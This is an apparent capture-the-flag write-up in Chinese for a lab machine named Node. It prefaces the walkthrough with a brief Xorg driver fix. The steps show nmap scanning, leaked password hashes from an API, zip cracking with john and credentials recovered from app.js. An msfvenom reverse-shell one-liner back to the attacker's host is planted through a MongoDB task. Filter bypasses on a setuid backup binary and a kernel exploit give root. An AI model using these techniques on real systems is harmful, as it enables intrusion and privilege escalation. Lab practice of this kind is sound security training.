Write-up-NODE-1

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一天研究OBS终于不闪屏了

• 顺便在这里记录一下，上网查了很久。刚刚开始是不闪屏了，但是锁屏后就唤醒不了了，只能强制关机。
• 然后又上网找了很久，重启了N次，终于试出来哪了的问题了。添加下面内容到这个文件重启就好了。

➜  ~  cat /etc/X11/xorg.conf.d/20-intel.conf    
Section "Device"
    Identifier "Intel Graphics" 
    Driver "intel" 
    Option "AccelMethod" "uxa"
    Option "DRI" "2"
EndSection
➜  ~ 

祖传开头

• 网卡：vmnet8；IP：192.168.131.1/24

➜  ~ ip a show dev vmnet8
5: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
    inet 192.168.131.1/24 brd 192.168.131.255 scope global vmnet8
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fec0:8/64 scope link 
       valid_lft forever preferred_lft forever
➜  ~ 

• 这次祖传套路好像不管用了，想是不是防火墙过滤了，然后尝试ByPass，详细可以看：Nmap防火墙ByPass
• 尝试到sudo nmap -sn 192.168.131.1/24加上sudo可以找到目标的IP，后面发现目标没有开放80或443端口，一般扫描无法找到目标IP。因为使用sudo权限Nmap会使用libpcap嗅探网络流量和发送原始网络流量，详细还是看上面的那篇文章吧。

➜  ~ nmap -sn 192.168.131.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-12 20:26 CST
Nmap scan report for 192.168.131.1
Host is up (0.00056s latency).
Nmap done: 256 IP addresses (1 host up) scanned in 3.08 seconds
➜  ~ sudo nmap -sn 192.168.131.1/24
[sudo] kali-team 的密码：
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-12 20:31 CST
Nmap scan report for 192.168.131.141
Host is up (0.00074s latency).
MAC Address: 00:0C:29:22:EE:8A (VMware)
Nmap scan report for 192.168.131.1
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 35.66 seconds
➜  ~ 

• 找到IP为192.168.131.141，-A接着扫，-Pn跳过主机发现直接扫，开放了22和3000端口，难怪扫不到。

➜  ~ nmap -T4 -A 192.168.131.141 -Pn
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-12 20:43 CST
Nmap scan report for 192.168.131.141
Host is up (0.00034s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  http    Node.js Express framework
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.95 seconds

• 浏览器打开3000端口看一下，burpsuite全程抓包，到处点点。回来看请求记录。发现在日志里有几个奇怪的请求http://192.168.131.141:3000/api/users/tom都是json格式的。

GET /api/users/tom HTTP/1.1
Host: 192.168.131.141:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.131.141:3000/profiles/tom
Connection: close

• 返回数据，应该是在点用户的头像时请求的，试完首页的三个用户都不是管理员。猜想根据写路由的习惯，试着把用户删除掉再请求一次。

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 146
ETag: W/"92-i7KsecITBt58aCBrfJ2ziyXT+uA"
Date: Fri, 12 Oct 2018 12:54:18 GMT
Connection: close

{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false}

• 然后就出现了了另一个管理员用户myP14ceAdm1nAcc0uNT，密码丢去破解得到：manchester

GET /api/users HTTP/1.1
Host: 192.168.131.141:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.131.141:3000/profiles/tom
Connection: close

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 611
ETag: W/"263-mJMXKDfX6c4pdWF3bLjHuBIvsM0"
Date: Fri, 12 Oct 2018 12:58:25 GMT
Connection: close

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

• 登录得到一个文件，下载回来判断文件类型发现是一个base64编码的纯文本，那再解码导出到文件在判断文件类型是一个zip。但是有密码加密的，所以要爆破zip密码。

➜  DOWNLOAD file myplace.backup
myplace.backup: ASCII text, with very long lines, with no line terminators
➜  DOWNLOAD cat myplace.backup|base64 -d >2333
➜  DOWNLOAD file 2333 
2333: Zip archive data, at least v1.0 to extract
➜  DOWNLOAD unzip 2333 
Archive:  2333
   creating: var/www/myplace/
[2333] var/www/myplace/package-lock.json password: 

• 用zip2john生产zip的hash文件，在用字典攻击。因为我在之前已经破解过一次了，他保存了记录。

➜  DOWNLOAD zip2john 2333 > pass.hash
➜  DOWNLOAD cat pass.hash 
2333:$pkzip2$3*2*1*0*8*24*9c88*1223*332809d8492f2345d28fa927fb76c77154c6ccf048881c2600290b53514f7d6c8413b7db*1*0*8*24*37ef*0145*e3ff6a50090c46ad3e53aee3d26d04dee08c2e9c0c1b2b48e7000ddc6a84210ba178b271*2*0*11*5*118f1dfc*94cb*67*0*11*118f*3d0f*e9a06a072dc45e9904cee2aa2fa97c9cd0*$/pkzip2$:::::2333
➜  DOWNLOAD john pass.hash --wordlist=$wordlist 
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)
➜  DOWNLOAD john --show pass.hash
2333:magicword:::::2333

1 password hash cracked, 0 left

• 我把记录删除了再演示一遍，如果再想看密码可以使用--show加hash文件查看。

➜  DOWNLOAD john pass.hash --wordlist=$wordlist
Created directory: /home/kali-team/.john
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword        (2333)
1g 0:00:00:00 DONE (2018-10-12 23:50) 5.882g/s 1156Kp/s 1156Kc/s 1156KC/s sandrea..piggy!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

• 解压进入文件夹找到app.js文件，发现了一些敏感的信息。

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

• 如果是想快一点的话可以直接使用上面的账号登录ssh上EXP提权到root权限GetFlag，如果想有点挑战的就使用下面的命令执行漏洞GetFlag，这样就不用EXP提权了。

app.get('/api/admin/backup', function (req, res) {
    if (req.session.user && req.session.user.is_admin) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';

      proc.on("exit", function(exitCode) {
        res.header("Content-Type", "text/plain");
        res.header("Content-Disposition", "attachment; filename=myplace.backup");
        res.send(backup);
      });

      proc.stdout.on("data", function(chunk) {
        backup += chunk;
      });

      proc.stdout.on("end", function() {
      });
    }
    else {
      res.send({
        authenticated: false
      });
    }
  });

• 先登录ssh，账号：mark，密码：5AYRft73VtFpc84k

➜  DOWNLOAD ssh mark@192.168.131.141
mark@192.168.131.141's password: 
Last login: Fri Oct 12 17:15:41 2018 from 192.168.131.1
mark@node:~$ 

• 先用msf生成一行Python的反弹后门，在用nc监听本地的7788端口。

➜  DOWNLOAD msfvenom -p cmd/unix/reverse_python lhost=192.168.131.1 lport=7788 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 501 bytes
python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICwgICBzdWJwcm9jZXNzICAgICAgLCAgIG9zICAgIDsgICBob3N0PSIxOTIuMTY4LjEzMS4xIiAgICA7ICAgcG9ydD03Nzg4ICAgIDsgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICAgICAsICAgc29ja2V0LlNPQ0tfU1RSRUFNKSAgICA7ICAgcy5jb25uZWN0KChob3N0ICAgICAgLCAgIHBvcnQpKSAgICA7ICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgIDApICAgIDsgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAsICAgMSkgICAgOyAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAgICwgICAyKSAgICA7ICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp'.decode('base64'))"
➜  DOWNLOAD nc -lvp 7788

• 把shell上传到目标主机，加上可执行权限

mark@node:/tmp$ chmod 777 shell.sh 
mark@node:/tmp$ ll
total 64
drwxrwxrwt  9 root    root     4096 Oct 12 17:26 ./
drwxr-xr-x 25 root    root     4096 Sep  2  2017 ../
-rw-r--r--  1 mark    mark     6021 Oct 12 15:19 44298.c
-rwxrwxr-x  1 mark    mark    14032 Oct 12 15:20 a.out*
drwxrwxrwt  2 root    root     4096 Oct 12 13:19 .font-unix/
drwxrwxrwt  2 root    root     4096 Oct 12 13:19 .ICE-unix/
srwx------  1 mongodb nogroup     0 Oct 12 13:20 mongodb-27017.sock=
-rwxrwxrwx  1 mark    mark      502 Oct 12 17:25 shell.sh*
drwx------  3 root    root     4096 Oct 12 13:19 systemd-private-712c42b4f5194056b7eb002b805a8bad-systemd-timesyncd.service-FZdDDZ/
drwxrwxrwt  2 root    root     4096 Oct 12 13:19 .Test-unix/
drwx------  2 root    root     4096 Oct 12 13:19 vmware-root/
drwxrwxrwt  2 root    root     4096 Oct 12 13:19 .X11-unix/
drwxrwxrwt  2 root    root     4096 Oct 12 13:19 .XIM-unix/
mark@node:/tmp$

• 利用app.js里的账号登录mark@node:/tmp$ mongo -u mark -p5AYRft73VtFpc84k schedulermongodb添加任务执行反弹后门db.tasks.insertOne({cmd:"bash /tmp/shell.sh"});,要等一会儿。

• 然后反弹回来的就是tom用户的权限了，就可以拿到用户home目录的Flag了。

pwd 
/
cd /home/tom
ls
user.txt
cat user.txt
e1156acc3574e04b06908ecf76be91b1

tom@node:~$ ls -al /usr/local/bin
ls -al /usr/local/bin
total 28
drwxr-xr-x  2 root root   4096 Sep  3  2017 .
drwxr-xr-x 10 root root   4096 Aug 29  2017 ..
-rwsr-xr--  1 root admin 16484 Sep  3  2017 backup
tom@node:~$ 

• 接着再利用上面的备份的命令执行，就是但备份的时候会用root权限执行/usr/local/bin/backup程序，当我想着把root目录打包成备份拿到root目录下的root.txt时，发现自己太天真了。拿到了暴走的那张图。

• 想直接该掉目标的app.js又发现要root权限

tom@node:/var/www/myplace$ ls -al
ls -al
total 56
drwxr-xr-x  4 root root  4096 Sep  3  2017 .
drwxr-xr-x  3 root root  4096 Sep  3  2017 ..
-rw-rw-r--  1 root root  3861 Sep  2  2017 app.html
-rw-rw-r--  1 root root  8058 Sep  3  2017 app.js
drwxr-xr-x 69 root root  4096 Sep  2  2017 node_modules
-rw-rw-r--  1 root root   283 Sep  2  2017 package.json
-rw-r--r--  1 root root 21264 Sep  2  2017 package-lock.json
drwxrwxr-x  6 root root  4096 Sep  2  2017 static
tom@node:/var/www/myplace$ 

• 然后把backup下载回来看了一下,他是把一些目录过滤了，只要有这些字符串就调用一个函数把刚刚的暴走表情返回来。

.rodata:08049EC5 aRoot           db '/root',0            ; DATA XREF: main+4DA↑o
.rodata:08049ECB asc_8049ECB     db '//',0               ; DATA XREF: main+675↑o
.rodata:08049ECE asc_8049ECE     db '/',0                ; DATA XREF: main+6BC↑o
.rodata:08049ED0 aEtc            db '/etc',0             ; DATA XREF: main+703↑o
.rodata:08049ED5 aTmpBackupI     db '/tmp/.backup_%i',0  ; DATA XREF: main+7B7↑o
.rodata:08049EE5                 align 4
.rodata:08049EE8 aUsrBinZipRPMag db '/usr/bin/zip -r -P magicword %s %s > /dev/null',0
.rodata:08049EE8                                         ; DATA XREF: main+7D9↑o
.rodata:08049F17 aUsrBinBase64W0 db '/usr/bin/base64 -w0 %s',0
.rodata:08049F17                                         ; DATA XREF: main+838↑o
.rodata:08049F2E aTheTargetPathD db 'The target path doesn',27h,'t exist',0
.rodata:08049F2E                                         ; DATA XREF: main+869↑o
.rodata:08049F2E _rodata         ends

• 现在就是想怎么绕过过滤。目前只想到了两种方法。

1. Linux的通配符，用四个*代替root字符串，把返回的字符串解码用之前的密码解压就可以获取root目录下的root.txt文件了。其实在set里出题人已经提示了可以使用_='/****/****.txt'的了。

tom@node:/usr/local/bin$ ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /****/****.txt
<4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /****/****.txt             
UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWemtwFt1eAsAAQQAAAAABAAAAABV8jIoS5pVMDG/v8Ky96FxGnEzm7MYgoNnqV+uTwW4IcvmccY7RuN/o2FSD7RQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAAtom@node:/usr/local/bin$ 

➜  DOWNLOAD echo "UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWemtwFt1eAsAAQQAAAAABAAAAABV8jIoS5pVMDG/v8Ky96FxGnEzm7MYgoNnqV+uTwW4IcvmccY7RuN/o2FSD7RQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA"|base64 -d > 1.zip

➜  DOWNLOAD unzip 1.zip -d /tmp
Archive:  1.zip
[1.zip] root/root.txt password: 
 extracting: /tmp/root/root.txt      
➜  DOWNLOAD cat /tmp/root/root.txt 
1722e99ca5f353b362556a62bd5e6be0
➜  DOWNLOAD 

2.Linux里面的ln可以创建同步链接，只要把一个不在黑名单里的目录链接到root目录在打包备份这个目录就可以了。先到tmp目录随便创建一个文件夹，再软链接过去，打包备份得到和上面一样的效果。

tom@node:/usr/local/bin$ cd /tmp
cd /tmp
tom@node:/tmp$ mkdir test
mkdir test
tom@node:/tmp$ cd /usr/local/bin
cd /usr/local/bin
tom@node:/usr/local/bin$ ls
ls
backup
tom@node:/usr/local/bin$ ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 
<backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474  
tom@node:/usr/local/bin$ ln -s /root/root.txt /tmp/test/
ln -s /root/root.txt /tmp/test/
tom@node:/usr/local/bin$ ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/test/
<4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/test/                 
UEsDBAoAAAAAAEISTU0AAAAAAAAAAAAAAAAJABwAdG1wL3Rlc3QvVVQJAAPMR8Fb50fBW3V4CwABBOgDAAAE6AMAAFBLAwQKAAkAAADUfSNL8o43QC0AAAAhAAAAEQAcAHRtcC90ZXN0L3Jvb3QudHh0VVQJAAPQFaxZ6a3AW3V4CwABBAAAAAAEAAAAADkP/XbDOYEypwb9otRX3B70ByGgGe7HxtZxLnY3FwS0Sc1u71Mp/S+gUeYDWVBLBwjyjjdALQAAACEAAABQSwECHgMKAAAAAABCEk1NAAAAAAAAAAAAAAAACQAYAAAAAAAAABAA7UEAAAAAdG1wL3Rlc3QvVVQFAAPMR8FbdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAABEAGAAAAAAAAQAAAKCBQwAAAHRtcC90ZXN0L3Jvb3QudHh0VVQFAAPQFaxZdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAACAAIApgAAAMsAAAAAAA==tom@node:/usr/local/bin$ 

• 如果是想快点的就上传EXP编译提权，这里就不说了。

mark@node:/tmp$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

➜  DOWNLOAD searchsploit 4.4.0 | grep local
Comodo Backup 4.4.0.0 - Null Pointer De | exploits/windows/local/35905.c
Linux 4.4.0 < 4.4.0-53 - AF_PACKET choc | exploits/linux/local/44696.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04  | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Doub | exploits/linux/local/41458.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64 | exploits/linux_x86-64/local/40049.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04. | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (U | exploits/linux/local/43418.c
PHP 4.4.0 - 'mysql_connect function' Lo | exploits/windows/local/1406.php

➜  DOWNLOAD searchsploit -p 44298          
  Exploit: Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/44298/
     Path: /home/kali-team/Kali-Team/exploit-database/exploits/linux/local/44298.c
File Type: C source, ASCII text, with CRLF line terminators

➜  DOWNLOAD 
➜  DOWNLOAD scp /home/kali-team/Kali-Team/exploit-database/exploits/linux/local/44298.c mark@192.168.131.141:/tmp
mark@192.168.131.141's password: 
44298.c                                                              100% 6021     9.5MB/s   00:00    

mark@node:/tmp$ ls
44298.c             systemd-private-1e2dccb30d5c4421ab0156f380ae24f2-systemd-timesyncd.service-XxCCZ4
mongodb-27017.sock  test
shell.sh            vmware-root
mark@node:/tmp$ gcc 44298.c 
mark@node:/tmp$ ./a.out 
task_struct = ffff88002d8fda00
uidptr = ffff88002ad330c4
spawning root shell
root@node:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1001(mark)
root@node:/tmp#